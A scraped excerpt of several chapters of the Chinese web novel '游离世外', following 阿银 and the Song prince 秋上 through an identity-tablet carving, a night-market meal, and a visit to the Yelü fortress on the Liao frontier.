书中记载颇丰,有楼宇檐栏设计、城隍防戍关卡、攻掠械备制造、引渠凿池机巧、御火涂料试验等,可以看出撰写者的术业精功、笃实博才之特点。 琳琅满目的工巧设计、细致紧要的术数标注,所幸阿银幼时宫学起涉猎过建筑营造,机要图纸还是看得懂的。他虽是外行,也深知秋上手底本领通天,不浮夸的说,应属当世匠才翘楚,远远超过一众国师大能等。 阿银的本领是昌平国师孟钦一教的,以他之所学,只配看懂。 隔窗问:“公子勘录册子如此详细,是否做出过模型?” 他这一问,问得地道,秋上便知,廊中人并非不学无术,连辛涩的营造法也能懂得,越发觉得孟钦一浇灌出来的,怕是个辅政之材。 秋上回道:“沙盘模型均能运作,未能放在城戍上应用。” “这是为何?” “帝京承平日久,改制之处需大兴土木,若非极端隐患,工部不敢奏请。我曾提议归置出一坊,待以躬行实践,被圣上驳回。由此,这些若干的城戍烽候、营造机巧就搁置了下来,还仅仅只是演算模型,未得到施展到苑镇地方。” “公子此次督领两道军政边务,是不是有机会有地方施展拳脚了?” “这个提议深合我心。” 廊外的阿银啪的一声将书册合上,“那我提前恭喜公子得偿夙愿,高瞻远瞩,为圣朝打造坚不可破的营垒。” “慢着,既然由你提议,也该由你一手辅弼。” 阿银隐隐觉得不妙,“这话何意?” 秋上:“我缺人手,尤其缺你这样聪明又贴心的。” 阿银自哂:“我少有顺您心意还体贴您的时候,只不过见您买了我又放了我,寻点恩惠还报回去罢了。” “不管怎样说,你仍是我中意的。” “却不是我最想要的。” 秋上沉默一下,问道:“你想要什么?” “我想有空闲做自己的事。” 那便是将秋上撇到一边的意思。秋上最终道:“你几次施与援手,这份恩情我记得。我看重你的能力,想留你在我身边做事,也是人之常情。若你执意要走,我不强留,还赠予你照身帖,但公私看顾,自古分明,今日放了你的身牌后,此前所有的恩怨纠葛就要一笔勾销。” 阿银明朗的声音从廊外传来,“好。” 屋里再无下文。 该秋上说的,他已全然说尽。短短两日,他曾数次挽留阿银,如此耐心,还抑着性子把话说透说明白,实属破天荒头一次。 阿银也听得很明白,虽然前头他待秋上行为不尊且漫不经心,后面与秋上多相处一些,还是能体会到人的好处。 但事关去留,就不可打商量了。 炉上火滋滋一响,沸水浇熄了火焰。阿银醒过神,将热水灌进汤婆子扁壶里,给秋上送过去。 秋上坐在卧棂窗前雕刻。 雪光透亮,背披的墨发与皎然之色两厢对照,使得阿银对这尊背影记忆深刻。阿银持着汤婆子,不便过去打扰,净是暖和自己的手了。再看秋上,他的手臂肩膀都很稳定,对着雪风也不怕冷,外形上心无旁骛。 良久,听到人唤:“你过来。”阿银就走了过去。 窗桌上摆着红木盒与勾金盒,盒里各有不同的斧凿针笔等工具,旁边还有一方小小的印匣和腕枕,总之器物齐全。秋上拿着一块光滑的竹片,形制裁剪已经由官府校定过了的,在竹片上雕刻出了阿银的半身像,还拿银漆点睛一笔,给他描上了银瞳。 秋上把阿银的模样铭记在心,所以镌刻出来栩栩如生。 竹片即是照身帖,用以表示阿银大约的出身来历,他的年岁几何,还是秋上问了两次才问到的。竹片上半部是画像,画像下刻着清晰楷字—— 姓氏:游离; 生辰:太祖乾德三年; 职事:夜郎; 籍贯:汴京; 居所:楚国公世子府。 薄薄的一片,勘定了阿银的出处,无论阿银游荡于何处,瞧着凭证上的“楚国公世子府”几字,也断然做不出恶行来——若是不端于行,又被人家摸到了来历,立即告到秋上面前去,秋上兴师问罪,把他抓了回去可大不妙。 阿银暗叹了口气,觉得秋上这招无形制敌实在高明。 秋上将竹片翻过来,按照惯例,在背部刻上职使范畴与训诫之语等,因而书写的是“随侍行走”“域内可用”云云,用来标识持此身牌的阿银,可以在宋境内畅通无阻——只要国公府与世子府未倒台,料想去哪里都要给他们家一份薄面的。 秋上想得精细,也是为了突出牌主身份多少与众不同,得他们看顾一眼的意思,在镌刻出印鉴模型后,他从木盒底抽出一张金箔,烧成印漆,将金漆浇注进印鉴刻槽,压实、待风干。 阿银耳聪目明,看得出秋上的好意。 秋上又执笔,饱蘸金漆,将竹片正面的刻字统统填充一遍,确信就算是瞎子,也能看出这名世子府侍从,身阶地位要比常人强上一些。 阿银想的是,打狗需看主人面,这金光闪闪的照身帖,无形给他上了个罩子,以后实在唬不过宋人,就把这竹片朝人面上一砸,狗假虎威一番,说不定能弄来他想要的。 岂不快哉。 秋上瞥见阿银扑闪着眼睫,便语重心长,“身牌赠予你,除去奴籍,行走无忌——但不可生事。” 阿银连忙放下汤婆子,双手去接,“多谢公子。” 秋上从怀中摸出一个缃色绢丝囊,将身牌放进去,收紧囊口,拈至阿银掌心中。 阿银在注视下,郑重收好了身牌,行了个礼,“我给公子换一壶汤。” 拿着汤婆子外出换水时,趁机取出身牌瞧了仔细,所见的材质确是官府惯用的滑竹,阿银由此断定,秋上有备而来。 那人随身带着印鉴玉玺等不足为奇,提前备好了照身帖所用的竹片,临场派发,才是关键的。 阿银走进屋,递过汤婆子,问道:“‘夜郎’一职,是为何意?” 秋上看他一眼,“喜欢站在床边,看人睡觉的值夜侍从。” 阿银:“我这番作为——是多多担心您。” “现在师出有名,不是更好?” “好吧。” 顿了顿,又问:“公子随身带着滑竹片,难道调度军务之外,还要给人下派身份贴?” 秋上:“远赴关外一趟,总得拾取一两个得心应手的人。我这身牌就是为此而来。” “您发个招贤令就行,怎么还亲自来了海津镇?” “海津滩场,风行狩猎狙杀,恶名传播于外,又与我朝军镇接壤,是个紧要的咽喉地界。” 阿银心道,这般险恶之地,也不能劳您大驾,就不知道君子不立于危墙之下么。 秋上扫他一眼,续道:“传闻滩场猎杀,只有狡诈 12.饭搭子 《游离世外》全本免费阅读 阿银站在车旁擦汗,可能在空旷地方的缘故,让秋上闻不到任何熟悉的味道。 阿银瞅着马身上扎破的布袋,从袋中流出的化雪盐砂已经差不多了,推起秋上,“走吧。” 他将伞盖升高,在无风的夜里赶路。 盐石是阿银重金收买来的,这次奔到远村,阿银蒙眼装作落难的瞎子,说是主人陷在雪坑里,需拿盐化开。他捏着金叶子随村民敲诈,村民欺生,没那么多讲究,看金叶子质地纯正,卖给他马匹和盐石。 一袋盐市价六千文,村民们坐地起价,加上卖马,前后共赚走两张金叶。 阿银将盐石敲碎,成了盐砂,盛放在十几个大布袋里。 盐砂无论粗细,放在任何一处地方,都是珍惜品,且被官府管营。官府通常采取的是民制、官收、官运、官销的方法,专门设置盐铁判官,负责监督盐铁的开采与经营。 但海津镇这个地方不一样,因为出了个夷离堇。镇子临海产盐,司制混乱,夷离堇想私吞盐田谋利,举着滩场打猎的幌子,不是打打秋风贪贪墨那么简单的。他想占地为王,待时机成熟,就反了朝廷。凭什么耶律家、萧家靠迭剌部起身,统一了契丹族几个部落后,就独自尊大,自家人代代做皇帝,而要他们乙室部做牛做马听迭剌部的旨令? 因而,夷离堇在盐务一事上多发难,先前秋上不远千里而来,与辽方盐铁判官接洽,其中就被夷离堇搅黄了公务。既然辽廷派来的盐铁判官立不起来,那么制盐过程中,容易产生漏洞。还有镇民趁盐铁判官不备,私自制盐,流通于暗市,就成了黑盐。 阿银买到的盐石就是黑盐,所幸秋上带的钱银多,出手大方,将金叶全部赠予他。他拿金叶换取物资,也是无可厚非的。 阿银骑马驮着几只口袋,从远方归来,只在积雪多的路段窸窸窣窣撒上盐砂化雪,雪块就慢慢地化开,露出了窄窄的两条行道。阿银把两匹马都套在轮椅车上,在一旁控制缰绳,随着马蹄子的甩动,一步步带秋上走出了深雪封停的山村。 连接走过几个荒村,就来到夜市上,路况变得好了些。说是夜市,有托大之辞,就是一些引车卖浆、贩夫走卒聚集在一起,组团自保,在镇子西头搭建出了一大片窝棚,以此为安家立命之地,也向过往行人贩卖黑货,找点糊口的门路。 他们不被官府承认,公认为黑市,没有地下城那般虬根深藏。地下城统领着所有的暗道与生财门路,见了这些外来的夜市贩夫团,不是报官就是自身拼杀,官府也不管,渐渐的,地下城就想吞下夜市,要夜市的贩夫们交保金。 贩夫们生计紧张,每日都在苦苦挣扎。没钱交保金,打又打不过,只求地下城在镇中心,不要来这偏僻的西市赶尽杀绝。 今晚,阿银御马行过西市,也就是夜市——当然在地下城的那批人眼里,这个地方叫黑市。 窝棚连着窝棚,泥糊的土墙作屋身,两排房屋中间,是由石砖铺成的街道,因石砖路能行车马,才能招致些生意。 阿银放缓缰绳,说道:“公子暮食吃得少,又在雪地里挨了冻,不如在这歇歇脚,用上一些夜宵。” 夜市疏疏落落走动些人影,两边的棚舍点着油灯,晕黄的光亮沿着两排弯曲的巷道蜿蜒开去,一眼也望不到头。 秋上先细心打量两侧街面,过往之人多是容貌木讷而愁苦的,对停驻在路边的他们两人无多少好奇,应道:“好。” 阿银解下马匹,将它们拴在桩上,给了摊主一点点赏银,吩咐他喂食。再推着秋上朝前走,路过干果炒货的铺子等,在一家杂碎汤的摊前停住了。 摊主是个包着头巾的婶子,对着总角小儿说道:“你仔细抔着这碗羊杂汤,给你位公送去。” 她说的是方言,秋上一时没听懂,但瞧阿银顿了脚,就停在这家前,立时留了心。 摊口支着一个大锅,锅底烧着炭火,锅中倒扣着一方搪瓷缸,从中冒出筒子骨、猪心肺及豌豆香气,浓浓的汤汁在锅缸边缘沸腾,大娘又丢了一把花椒进去,让香味飘洒得更远。 阿银吸了一口浓郁的香气,将秋上推到桌边放稳,说道:“我请公子吃碗暖汤去去寒,这里是上风处,味道染不了您的衫子。” 秋上能有什么异议,自从踏足这条街起,碰上阿银一双睁大了的眼睛,他就知道此后动静不由他心。 阿银坐在另一边,拿茶水烫过竹箸和箸枕,给秋上摆好。 秋上问:“你认得这家店主?” 他将破落小摊说成店家,实在是客气。 阿银如实答:“听他们的口音,应该是故乡客。蜀池虽然没了,尝一尝街食也是好的。” 秋上默然一下,适宜避开话头,“我不饿,你吃饱即刻上路。” 阿银点了两大碗羊杂汤、两张胡饼、一钵毛血旺、一盘辣子鸡、一碟干笋、一碟凉拌酱肉,还委托摊主买来两盏清凉补,一并放在秋上面前。 殷殷劝道:“风味小吃,将就用用。公子过惯了锦衣玉食,小百姓的滋味别是不同。” 秋上再次默然。 阿银一餐的食量,竟是他两日的份量,最紧要的是,那些看起来红红亮亮辣椒尖、油光满碗泛金汤的宵夜,是决计无人敢递到他跟前的东西。平素有掌事、总管等一干人尽心尽力的侍奉着,膳房里络绎不绝供上来的都是新鲜时兴的食材,总之都怕他劳心劳力之余,还要为着不相干的小事分神。 他虽单身走边关应圣上密旨,也领了父王锤炼之命,曾打定吃尽一切苦的主意,但万万预料不到,他亲自点开的地桩阿银,三番两次送来吃的是乱糜糊糊杂食大炖煮。 这合计着是,自己选的,含泪也要咽下吧? 秋上沉默良久,终于持箸夹了一块鸡肉,放进嘴里。 满口的辛辣别提了。 他的唇色变得红润。 阿银舀起一勺绿豆白瓜清凉羹递到他嘴边,“这个凉凉的,可以压火。” 秋上照例伸指隔档。 阿银抄起秋上碗盏里瓷白勺,铲起毛血旺,左右包抄放在秋上两旁,“您这外乡人就不知道了吧,热辣滚烫配一口凉饮子,销魂滋味直入天灵盖,不枉世间走一遭了。” 秋上干脆挺直背,贴进车座里。 阿银直直看他,“婶子忙了半天才做出这一桌,惟暴殄食物者不可恕,您瞧着办吧。” 其实摊主拿了食钱就忙着唤小儿子给她爹爹抓药去了,秋上是招架不住阿银的炫瞳。 秋上回道:“我自己来。”持过白勺喝完清凉补。 大雪天喝冷饮,嘴唇凉上一层,酷似冰窖里扇扇子,把身心镇得透凉。 他品着冰甜,品着阿银带来的辛辣,品着人间的百种滋味。 阿银想必是满意的,淡淡一笑,“公子这样真是讨喜。” 不,秋上一点也不喜,流落在阿银之手,非他本意。在诸般的“刁难”“问罪”前如此迁就,才是让他想不通的地方。 在 13.聊婚姻 《游离世外》全本免费阅读 卖宵夜的婶子坐在窝棚槛上歇气,瞧着她的儿子不过几岁光景,她的面容却在岁月的操劳中变得苍老干枯,像一个垂垂老矣的太婆。 阿银向她略略行了个礼,用蜀池方言与她聊些家常。 棚屋不大,外面就是宵夜摊子,桌旁还坐着一个衣饰金贵的年轻公子,那公子似有腿疾,居于轮椅中,气度冲淡而雍华。 婶子稍稍拿眼打量一下秋上,怕有冒犯,又极快移过眼睛,垂着眼帘答阿银的话。 阿银顺手拉起婶子,要她站着说话,不必拘谨。 婶子看阿银一身潦草打扮,摸不准他的来历,但知道眼前这人的好心肠。 明明吃不完一桌的宵食,还多点一些,并想给她远多于饭食的赏银,被她忙不迭的拒了。 阿银于是用官话说:“公子赏你的。” 婶子连忙对秋上行礼。 秋上全程当画像,看着画师阿银执笔挥墨弄春秋。他听不懂蜀池方言,但有一双锐利的眼睛,从两人唇齿交谈与颜容形貌,猜测出几分意思。 阿银应该是以家常之事入境,慢慢顺导出他想听到的消息。 也就是,阿银从故乡人的嘴中,打听蜀池往事与同乡近情。 摊主的表情极为凄苦,似诉历年艰辛。 阿银默默听了,头微垂,遮住了瞳彩。 两人闲聊有一会儿,阿银叮嘱:“如今蜀池已没,中原故土尽是大宋江山,入乡须随俗,娘娘(婶子)惦记些个,以后讲上汉话,免得别个里头瞧出我们是遭没落的,爱欺负人。” 说起遭人欺负,这位四十来岁的婶子满腹辛酸,个中滋味,真是尝够了。她拉着阿银的手,倒了一番苦水,阿银耐心听着。她也曾问过阿银为何长了一双异瞳,有没有招人欺辱,阿银只淡淡说了,祖上胡人血统,欺辱不曾有,瞧不起他的多得是,光是将他当作“奇货”倒卖的,就有几次,不过他逢凶化吉,都逃了出来。 婶子以为伴在一旁的富贵公子就是阿银的吉人,又对公子行了个礼。 秋上端坐如故。 阿银从婶子嘴里打听到故国异乡的遗民百姓们,近七年的光景,及他们现在落脚的地方,再次嘱咐了几句,就离开了夜摊。 取来马匹,照旧给椅车套上,阿银赶着马车,慢悠悠朝着雪霁远方进发,一路碌碌声音为伴,两人均没有说话。 阿银想着心事,嘴上便无招呼。秋上深知阿银秉性,想开口时,自然会说,不用他过问。 出了西市,就来到镇郊浅山原野处。 一条弯曲的行马道隐没进山原深处,路面有斑驳痕迹,无破损失修之处,可见远处有大户人家出入和修葺此路。 阿银遽然想到,这条路有点熟悉,像是每隔五日给他送牢饭的炎颜,嘴里抱怨的远行之途。 炎颜最为反对阿银投到死牢里歇脚的做法,哪怕阿银向她释疑过一次,他有不得已的理由。 炎颜考虑的是,要照顾阿银小主的衣食住行——既在牢里,衣食住三项就省了,只剩下小主最为看重的饭食,所以炎颜拼命经营赚取银子,托镇上信得过的农家给阿银每日送上两餐饭,第五日就由她亲自做了送去。 海津镇司制混乱,兵司监大牢按照旧历,不设牢饭,容得案犯家眷送食。只要银子打点到位,可探监,可请托,只有那些无人看顾的案犯,才迫不得已拿钱从狱卒手里买吃的,总之各自想办法生存,点数下来,饿死的人较少,被夷离堇强行拉去猎死的为多。 炎颜每来一次,钱袋就要空上一分。她唠叨唠叨、抱怨抱怨,隔着栅栏戴着锁镣的阿银就静静听着。炎颜是真心疼阿银的,见不得他受难,每每说求二公子施恩,将他救出来。阿银却命她先顾着铁匠,他这边不碍事的。 “怎会不碍事呢?”炎颜瞪大了一双圆圆的眼,“不是每几日就要我跑一趟么?老命都要折损在这上面了。” 阿银连忙岔开话题,赶紧问其他的。 炎颜照例凑过去,小声细细说与他听。她这个监外跑腿兼包打听简直太敬职了,但凡有阿银想知道的,她就想方设法去打听,就算因地位低微,触不到一些消息的内在关键处,她也要花上钱银铺垫人脉,想着日后总有只字片语渗到她这儿来。 所以,炎颜的钱袋子很瘪,阿银欠炎颜的旧账很多。 此时眼前行走的马道,就是前往耶律家寨堡的路,也是亲友铁匠与炎颜投靠的栖身处。 阿银想到即将面见炎颜,而要饱偿炎颜旧账,心底有些踌躇。 他的银子是秋上赠予的,要花在刀刃上,所剩也无多。倒不是他想欠着炎颜不还,而是刚从重监里跑出来,还没机会给他去经营。 他牵着马匹在路上沉默地走,细细盘算着差额。 雪霁景静,道旁有雪色反光,阿银的银瞳如琉璃盏一般,本就趋黑而明,在夜里看得清楚。他想着心事,一路忽视了身后的人。 这时,从身后传来一片柔和的光辉。 阿银转头去看,只见秋上拈着一枚碧绿通透的夜明珠,修长的手指一合,便将它聚于顶端。这个宝物在黢黑的夜里,立刻灿发光芒。如此色泽纯正无瑕的夜珠,自然重物希贵。 阿银驻足道:“是我的疏忽,忘了给公子打灯。” 他并没有准备灯笼,本就习惯了黑暗,还没适应旁边有人与他一起,赶路逐夜。 秋上从扶手夹层里取出两个莲花灯柱,立在手把前端,掌心朝下一翻,竟然又托出个一模一样的的夜明珠来。 阿银暗想,有钱的公子哥就是气派,好物成双,全身上下藏着宝贝,赶个路也要与众不同。 秋上似是看懂了他,将夜明珠盛放在灯座里,说道:“此去就是耶律慕的寨堡,我与他商谈些事务,这两粒珠子,权当敲门砖。” 阿银回:“公子好气度,随手赏赐人的,都是些稀世宝物。” “你想要么?” “我又何德何能。” “哦,是我忘了,你曾翻查过这座车。”秋上凉声道,“既然你不取,当是看不上。” 阿银闭了嘴。 秋上道:“启程吧。” 阿银再次持起缰绳。 一路沉默就显得不合时宜,尤其刚才秋上还提到了阿银的过错。 阿银说:“等会儿送公子到大院,我就等候在耳房里,不随公子进去,可以么?” “为什么?” 阿银牵马而行,“我先前并不知,要随公子来拜见耶律二公子,是以通身的装扮来不及收拾,就这样 14.撂担子 《游离世外》全本免费阅读 阿银浑然不觉身后的秋上已冷了眼色。在淡淡的夜风里,他的身杆依旧挺拔秀颀,纤瘦的背影披拂着一头黑发,步子不缓不急,姿势进退得宜。 他考量的是见到炎颜,最好罗织些有意思的事情,让炎颜失去了讨银子的兴致。 比如给她举荐一门亲事。如果得世子秋上的看顾,更是方便。 当然,阿银也没脸皮厚到寸功未立的情况下,就贸然向秋上提及此事。 他才将将开口点到娶亲,秋上的口气就不好了。 他马上收起了浮动的小心思,打算老老实实挣银子还给炎颜。 秋上看着阿银坦荡走着,很是恨铁不成钢,冷冷道:“你与蜀池故人闲聊了什么?” 难道想联通两家,张罗一场婚事? 阿银悄然叹气,“那婶娘的日子不好过,丈夫战死,家里就指望着她做些小买卖撑着,儿子小,亲爹的身子骨一天天的颓败,最为难的是,她飘荡在两境关外,许多年来没一处落户。” “还是黑户么?”这个话题与娶亲岔得太远,让秋上始料未及。 “是的。” “那与你又有何关系?” “物伤其类,感怀故土。” “若按常制,”秋上略一思索,“即使前朝遗民也可到当地官衙申报,不至于浮浪无着。” 阿银回:“蜀池战乱时,婶娘一家就逃了出来,与邻里搭伴背井离乡,兜兜转转走了几载,现在被挡在关外,也回不去了。” “关外战事频发,不是长久之计。” “确系如此。” “你想如何?” “夜市遭地下城裹挟,我想助她们挣些营生。” “你就甘于蜗居棚户,天天过些朝不保夕的生活?” “有口吃的就行。” 至此话题终结。秋上嫌弃阿银的惰惫,不知他脑子里装了什么。 毫无声息时,阿银孜孜问道:“公子就在跟前,容我捡个现成的便宜,帮婶娘问问,若是她们在夜市待不下去,又该如何?” 秋上其实不想答,他又不傻,如果应了阿银的话,被他截断了话意顺杆子爬怎么办。 他只简短说:“我只要你,不关心其他人。” 阿银:“我求着公子帮我想想办法,又不是求公子收留她们。” “最好的法子,就是等海津镇平定,她那一批人撤进沧州青县,申领几亩屯田,待有成,再报户籍。” 阿银得到了想要的答案,转身给秋上行礼,“谢谢公子。” 秋上觉得不妙。能让阿银弯腰致意的事情太少,他当不起这个礼。 果然,阿银接着说:“想必公子的军镇就设在青县,待日后有人来投奔时,请公子高抬贵手,给她们函定几亩地,容她们落户。” 秋上肃容道:“法理之内的,可以应允。” “好的。” “你自身顾不及,还去想着别人?” “都是老乡,互相照拂则个。” 这是人之常情,秋上不好再逮着这个细处审视出什么。 远远的夜空升起一片明亮的光芒,耶律家的寨堡在望,高楼屋脊都挂上了灯笼。此时已过亥时,万物希声,浑世入睡,唯独寨堡高灯燃放,仿似在等什么人。 护城河外的树林、山冈,在此皓亮前显得黯然失色。 偶有夜枭飞过,拖长调子鸣叫,从小山后传来回响,不知是不是受到惊扰,山脊泛起一点微微的光,似磷火。 阿银稍稍眯了下眼,将远处的动静瞧得更仔细。非目力深远者,只能打量出黑黢黢的轮廓。 寨堡吊桥是放下来的,掩城门房里有火烛。 阿银走过去递上拜帖,“楚世子路过贵堡邸,可否与二公子通传一声?” 门房接过拜帖,对上一双银瞳,稍稍一怔。但在权贵家当差,也算久经风浪的,马上恢复如常,说道:“有请,二公子刚好未歇下。” 看样子半夜举灯全堡不歇而等候的人应该就是秋上。 阿银解下马匹交予门房,“烦请就拴在门外。”他系上眼布,再推着秋上沿笔直大道前行。 寨堡就是一座孤城,城池高耸,堡台望楼齐备,城墙上无守卫,只插了一些彩旗来张眼目。不知敌人打过来时,这些旗帜能不能充当防御。阿银走进内城打量,左右有家宅店铺,还有紧挨城墙搭建的棚户,里面放置杂物与牲畜等。 这就是铁匠与炎颜投奔的地方,防备戍守也未免太简单了。 阿银暗想,难道耶律慕光凭名声来护住这座城的么。 沉寂中,秋上看穿了阿银的心,说道:“耶律家深受萧太后庇佑,寻常人等不会冲犯此处。” “我猜耶律公子也是这样想的,所以将全堡上下的安危,押系在敌人的仁慈上。” “耶律慕不是傻子,知道个中紧要。” “哦,是我多心了。”阿银话题一转,“既然堡里安全,公子容我先告退片刻,稍作梳洗一番。” 秋上突然道:“那耶律慕也生得貌美,你不去瞧一下么?” 阿银转到车前,弯腰冲秋上笑了笑,“您又怎知,我不是梳洗得当,打扮得漂漂亮亮的,来搏个眼缘?” 秋上回道:“下一步,是不是婚事也有着落?” “未尝不可。”阿银潦草行个礼,转身朝左侧院落走去。 早有下人将秋上进堡的消息递到了正院。 耶律慕吩咐门庭大开,雪灯齐燃,从玉石基上拾级而下,一旦出现在秋上眼界里,就朝他行了个大礼,从上揖到底。 秋上颔首。 他被阿银丢在半路上,想动也动不了。 耶律家的侍从忙不迭的将秋上推进正院大宅中,正等着公子吩咐下人整砌玉基台阶,方便推上轮车。一旁走来沉默而劲痩的铁匠,穿着黑衣黑裤,说道:“公子擢我来厅前当差。”他的臂力遒劲,一看就是好刀使在了刃上,侍从连忙让开。 铁匠将手上拎的斜铁架,搭在台阶下,轻轻一推,送秋上进门厅。 将秋上安置好,告个罪,退到门外,与侍从一左一右值守门户。 耶律慕穿着浅紫锦袍,对翻的衣领与袖口均有金丝藻绣,身形修长而秀挺,衣饰衬得人金贵华美,面容上的谦和颜 15.谢观微 《游离世外》全本免费阅读 华庭花厅暖意融融,两侧桌案上用炭火小炉闷着热汤茶水,泛出一阵清冽香气。膳房里悉数待命,只等吩咐下来合乎客人口味的夜宵样式。司帷婢女手脚麻利地收拾出暖阁床帐等,熏香烧地龙,从衣食住行各项尊奉莅临的贵客。 侍从们平日跟随耶律慕公干,两关批文也有代拆代阅的时候,知道宋朝出了个极为厉害的公子,集容貌与将才于一身,兼备国师巨匠、营造大家、机关术士之能,学得文武全才,还出身高贵。 这样的人物,在两朝都算是凤毛麟角,又得自家公子看重,谁能不小心候着。 就是贵客身边的随从有些奇怪,眼睛蒙着布,像是瞎了,可那人却驾轻就熟摸进膳房,甩下一张“冰粢蓑叶鱼”的方子,潦草道:“就照这单子备饭。”然后匆匆离开。 膳房里的厨娘们大多不识字,于是找到采办头儿颜娘子,叫她拿个主意。炎颜细一打听,就知吃货小主儿来了,说道:“各位姨姐儿莫要见怪,那是我家二郎,得巧在贵客身边差遣,贵客衣食|精细,二郎就沾了几分习气,总要开道铺张,给贵客掌两眼好坏……要我说,这方子详尽,可以做得,不光是照单子烧道蓑叶鱼,还有什么好的夜宵烹制,统统报上来。” 厨娘们为难,说是厅里没有吩咐下来。 常得二公子口彩的炎颜便做主,照着宫廷样式,烧了八菜一汤。 众厨帮佣由此舒缓一口气,差事可以交付上去,还能不背责,一举两得。她们听从炎颜的指挥,置办食材烹调酱汁汤水等,由衷羡慕炎颜,说两个儿子都寻了好主家,一个在寨堡里做了部曲什长,掌管十个兵;另一个瞧着有些落拓,披衣散发的,可竟然撞了大运,跟在了贵客身边…… 炎颜听得一张颜面险些挂不住,只是如常应付,不漏一点端倪,说道:“各位还真是提醒了我,我家二郎一心伺候贵客,风尘仆仆的,大概是没得工夫梳洗,我瞧瞧去。” 她吩咐完膳房里的事务,暗地里去打听二郎银的去向。 竟没找到。 转念一想,能让满腹馋虫的阿银弃食不顾,还与她不打照面的理由,不是吃饱了就是有更重要的事要做,于是她回到偏院,拿出给阿银置办好的衣帽鞋袜,放在床上,再回膳房主事。 膳房的八菜一汤毕时呈进花厅,色泽鲜美,气味淡雅。 婢女们低头出入,进菜布席时悄无声息,一丁点的杯盏碗碟磕碰之声也不能闻见。耶律慕忖度秋上颜色淡淡,全程无任何眼风发落下来,只看着茶水案,应是不喜见外人的,连忙唤婢女们退下。 待清了场,耶律慕温声说道:“楚世子舟车劳顿,亲临苦寒之地,实在令如是惶恐。如是观世子身子有恙,躬行请示,能否由如是延医问药侍奉您?” 秋上道:“不用。” 耶律慕,字如是。问话贴心又诚挚,遵循贵客主意,不擅作主张把医官请到,犯了贵客的忌讳或眼嫌就不好。 秋上自进堡起,就全然无动作。外界传说他得了“沓风之症”,先残四肢、再绝气脉、后夺嗓音面容,逐渐成了僵死之人,实在与他的外形契合。 他受针痛限制,平素绝少显露动静,一是降低辽人戒心,二是向圣上示弱,他是有疾痛在身的,不至于手眼通天,在圣上的耳目前阴私行事;三是听从父王,先残自身,让圣上放心,较为便利地受诏领职。 国公府的大小姐,他的同胞姊妹,自十三岁时就被送到宫里教养,名为公主伴读,实为制衡父王的人质。姐姐是娘亲从小栽培的苗子,其身手能力与娘亲相差无几,父王看着娘亲玉面,也得在宫廷与内帷间斡旋一两分。 正临圣上御人寻才肃清边务,三司举荐了他的名字,于是父王毫不犹豫的把他丢了出来。 丢来磨砺磋琢也就罢了,还给他拍进四根毒针开局。 娘亲心疼他,私下传他舒痛法子,并悄悄递来消息:你爹的哨铺铺到了边关青县,给你开通了传信之便,再朝外走,就是辽朝的海津镇,眼瞅着没出路了,因为海津镇的地理位置,抵在了青县的头上。 秋上自然要布置方案,亲自来海津镇过问一趟。 眼下,耶律慕意态恭顺,省了他不少口舌麻烦,还关心询问他的病体。 秋上淡淡道:“四肢不能如常,仅以右臂运些余力。” 耶律慕关心道:“既是不便,不如由如是擢一位手脚伶俐的,来伺候世子。” 秋上照样冷拒,“不用。” 这贵客一进门,目无斜视,矜淡如雪,着实让耶律慕有些惶恐,连忙找些能引起贵客兴趣的话题:“世子不添点饭食么?寒舍简陋,所幸厨娘手巧,听闻还是照您开的单子烧制的。” 秋上随眼一逡,见到锦缎玉桌上,当真有熟悉的菜肴,开口道:“传阿银。” 耶律慕猜测阿银应是随车的属从,回道:“刚听门房来报,佐驾去了偏院歇息,与这儿有些脚程,我即刻唤人去请。” 秋上不置可否。 耶律慕行了礼少陪,到门口吩咐铁匠去找人,再回来时,又听到秋上说:“找谢观微来。” 信使谢观微进退最为持礼,听传自家公子到了,早就候在了院外,与领命寻阿银的铁匠打了个照面。 他进门时,带来一阵疏朗的气息,与各处见礼,有条不紊。 人长得清正秀雅,恰到好处。 他的面相,不会喧夺了公子主的光彩,也不至于落在人堆里瞧不见。平时就穿了青墨锦袍,往庭前一站,修挺煊赫,彰显了主子别具风仪的存在。 他还有另一用处,就是深度主子的意图,替他传声示令。 果然,谢观微看到公子目光移到车座扶手上,才浅浅发落一眼,就朗声说道:“我家公子奉明珠两颗,拜于节下。” 他取下通透的夜明珠,拾进玉缎托盘里,朝耶律慕拱手行礼,“明珠内有萤石,照亮赏画儿,是个雅事。” 耶律慕还礼,“如是才疏学浅,正愁金卷无明光指引,怕不得要领。如今世子垂示明珠,替如是解决了难题,礼尚需往来,如是斗胆奉上玉尺丝帛,请世子笑纳。” 侍从捧着雪纱般的丝帛与洁白无瑕的玉尺,躬身走到秋上跟前一丈远停下,持礼不动。 丝帛,喻示化干戈为玉帛,临场结盟之意。而奉上玉尺,有请人裁夺之意。这两样礼物,道明了耶律慕欲结交依附秋上的意蕴,选择得文雅又恰当。 秋上掠一眼托盘,谢观微进步说道:“多谢节下美意。” 耶律慕点头示意,侍从收拾好结盟的礼物,先行退下。 秋上道 16.典狱 《游离世外》全本免费阅读 众人遍寻不见的阿银,得益于脚程快,走路悄无声息,展袖一跃,颇有夜枭形状。 进了寨堡,来不及安顿好秋上,阿银先摸去了城墙边儿,沿着墙根走了半圈。 这是他生性警觉的习惯,先去一处,必熟悉地形。 找到一间坚实的棚子,他便跃上棚顶,甩了甩手中备有的抓钩,打算试试能否攀着绳子翻过城墙。墙高三丈三,宽度两丈,站在城内的人都不易将抓钩甩将上去,抓得牢固,更不说被阻断在护城河外的敌人。 因而想通过城墙来攻破寨堡的路子就行不通。 检测完毕,阿银归还抓钩,放心离开棚户,走到一座密檐砖塔前,停了脚步。石塔燃着香烛,供奉瓜果,有一丈多高。 阿银先朝它拜了一拜,许了一个愿,然后将挡风石前的铁叶烧火棍取走,手脚并用,攀附上了石塔,再运气一跃,使出梯云纵的功夫,爬上了墙头。 亥时二刻,万籁俱寂,值守的部曲早已退下去休息,这截城墙只剩下阿银一人。他不愿惊动守门的,就地运用绳索和身法滑溜进河里,冒冷游水过去,上了岸,然后悄无声息的,欺近了寨堡外的山林。 山冈上,一直苦兮兮的缩着一个人,心里正埋怨牢头的差事不好做,监犯未曾反水,却被辽大王提走,结果出了岔子,要他冒雪出门缉捕逃犯。 简直是叫苦不迭。 不用说,这么“苦命”的人,自然就是海津镇兵司监的典狱。 他本是蜀池人,国覆后携遗民百姓逃难出来,走走停停,对宋朝难有归顺之心,干脆在辽国买个官做。辽国分两院管制辽人与汉人,他被划在了“归正南人”一列,很不受待见。终于谋到典狱的位子,屁股还没坐稳一年,结果重监里收了一批活阎王,还好巧不巧,被夷离堇看中,抢去做猎物,最后闹得人仰马翻、盐田海啸,推他出来擦屁股。 